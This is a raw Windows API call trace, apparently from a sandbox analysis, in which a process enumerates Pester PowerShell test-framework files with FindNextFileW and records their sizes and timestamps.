	[0182.810] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2794, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.ps1", cAlternateFileName="")) returned 1
	[0182.810] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x281d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeGreaterThan.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.810] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efa7ee8, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efa7ee8, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efa7ee8, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x278b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLessThan.ps1", cAlternateFileName="")) returned 1
	[0182.811] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x280c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeLessThan.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.811] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2861, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeNullOrEmpty.ps1", cAlternateFileName="")) returned 1
	[0182.811] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BeNullOrEmpty.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.811] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contain.ps1", cAlternateFileName="")) returned 1
	[0182.811] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2933, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contain.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.811] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContainExactly.ps1", cAlternateFileName="")) returned 1
	[0182.811] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e66ad38, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e66ad38, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e66ad38, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2899, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ContainExactly.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.811] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2739, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Exist.ps1", cAlternateFileName="")) returned 1
	[0182.811] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2787, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Exist.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.812] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27a1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Match.ps1", cAlternateFileName="")) returned 1
	[0182.812] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2869, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Match.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.812] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x27c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MatchExactly.ps1", cAlternateFileName="")) returned 1
	[0182.812] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2815, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MatchExactly.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.812] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2f11, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PesterThrow.ps1", cAlternateFileName="")) returned 1
	[0182.812] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x395e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PesterThrow.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.812] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3239, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Should.ps1", cAlternateFileName="")) returned 1
	[0182.812] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b3d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Should.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.812] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2737, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 1
	[0182.812] FindNextFileW (in: hFindFile=0x76f3a8, lpFindFileData=0x2faeb94 | out: lpFindFileData=0x2faeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2737, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test-Assertion.ps1", cAlternateFileName="")) returned 0
	[0182.813] FindClose (in: hFindFile=0x76f3a8 | out: hFindFile=0x76f3a8) returned 1
	[0182.813] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38b0960 | out: hHeap=0x710000) returned 1
	[0182.813] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e644ade, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e644ade, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e644ade, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2eca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.ps1", cAlternateFileName="")) returned 1
	[0182.813] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x28cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.814] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x686e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.ps1", cAlternateFileName="")) returned 1
	[0182.814] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d67, dwReserved0=0x0, dwReserved1=0x0, cFileName="Coverage.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.814] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3546, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.ps1", cAlternateFileName="")) returned 1
	[0182.814] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x28d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.814] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x291c, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.ps1", cAlternateFileName="")) returned 1
	[0182.814] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2848, dwReserved0=0x0, dwReserved1=0x0, cFileName="In.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.814] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x34b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.ps1", cAlternateFileName="")) returned 1
	[0182.814] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c66, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.814] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4d81, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.ps1", cAlternateFileName="")) returned 1
	[0182.814] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x4401, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.815] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xb28f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.ps1", cAlternateFileName="")) returned 1
	[0182.815] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xaea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.815] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3196, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.ps1", cAlternateFileName="")) returned 1
	[0182.815] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f01a5ef, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4f01a5ef, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4f01a5ef, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x32a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.815] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5ba1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.ps1", cAlternateFileName="")) returned 1
	[0182.815] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5f862d, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5f862d, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5f862d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x47df, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.815] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5d23d2, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5d23d2, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5d23d2, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5408, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.ps1", cAlternateFileName="")) returned 1
	[0182.815] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e61e897, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e61e897, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e61e897, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x37ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.815] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x341e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.ps1", cAlternateFileName="")) returned 1
	[0182.816] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e5ac187, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4e5ac187, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4e5ac187, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3672, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.Tests.ps1", cAlternateFileName="")) returned 1
	[0182.816] FindNextFileW (in: hFindFile=0x76e7a8, lpFindFileData=0x2faee10 | out: lpFindFileData=0x2faee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eff43a1, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4eff43a1, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4eff43a1, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x5fcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.ps1", cAlternateFileName="")) returned 1
